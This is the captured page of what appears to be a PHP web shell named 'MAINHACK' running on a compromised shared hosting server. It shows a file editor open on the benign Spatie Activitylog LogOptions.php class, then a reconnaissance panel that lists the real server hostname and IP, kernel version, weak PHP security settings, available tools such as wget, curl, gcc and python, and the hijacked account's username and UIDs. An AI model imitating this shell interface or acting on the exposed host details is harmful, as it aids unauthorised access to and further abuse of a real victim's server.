[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: LogOptions.php
<?php namespace Spatie\Activitylog; use Closure; class LogOptions { public ?string $logName = null; public bool $submitEmptyLogs = true; public bool $logFillable = false; public bool $logOnlyDirty = false; public bool $logUnguarded = false; public array $logAttributes = []; public array $logExceptAttributes = []; public array $dontLogIfAttributesChangedOnly = []; public array $attributeRawValues = []; public ?Closure $descriptionForEvent = null; /** * Start configuring model with the default options. */ public static function defaults(): self { return new static(); } /** * Log all attributes on the model. */ public function logAll(): self { return $this->logOnly(['*']); } /** * Log all attributes that are not listed in $guarded. */ public function logUnguarded(): self { $this->logUnguarded = true; return $this; } /** * log changes to all the $fillable attributes of the model. */ public function logFillable(): self { $this->logFillable = true; return $this; } /** * Stop logging $fillable attributes of the model. */ public function dontLogFillable(): self { $this->logFillable = false; return $this; } /** * Log changes that has actually changed after the update. */ public function logOnlyDirty(): self { $this->logOnlyDirty = true; return $this; } /** * Log changes only if these attributes changed. */ public function logOnly(array $attributes): self { $this->logAttributes = $attributes; return $this; } /** * Exclude these attributes from being logged. */ public function logExcept(array $attributes): self { $this->logExceptAttributes = $attributes; return $this; } /** * Don't trigger an activity if these attributes changed logged. */ public function dontLogIfAttributesChangedOnly(array $attributes): self { $this->dontLogIfAttributesChangedOnly = $attributes; return $this; } /** * Dont store empty logs. Storing empty logs can happen when you only * want to log a certain attribute but only another changes. */ public function dontSubmitEmptyLogs(): self { $this->submitEmptyLogs = false; return $this; } /** * Allow storing empty logs. Storing empty logs can happen when you only * want to log a certain attribute but only another changes. */ public function submitEmptyLogs(): self { $this->submitEmptyLogs = true; return $this; } /** * Customize log name. */ public function useLogName(?string $logName): self { $this->logName = $logName; return $this; } /** * Customize log description using callback. */ public function setDescriptionForEvent(Closure $callback): self { $this->descriptionForEvent = $callback; return $this; } /** * Exclude these attributes from being casted. */ public function useAttributeRawValues(array $attributes): self { $this->attributeRawValues = $attributes; return $this; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285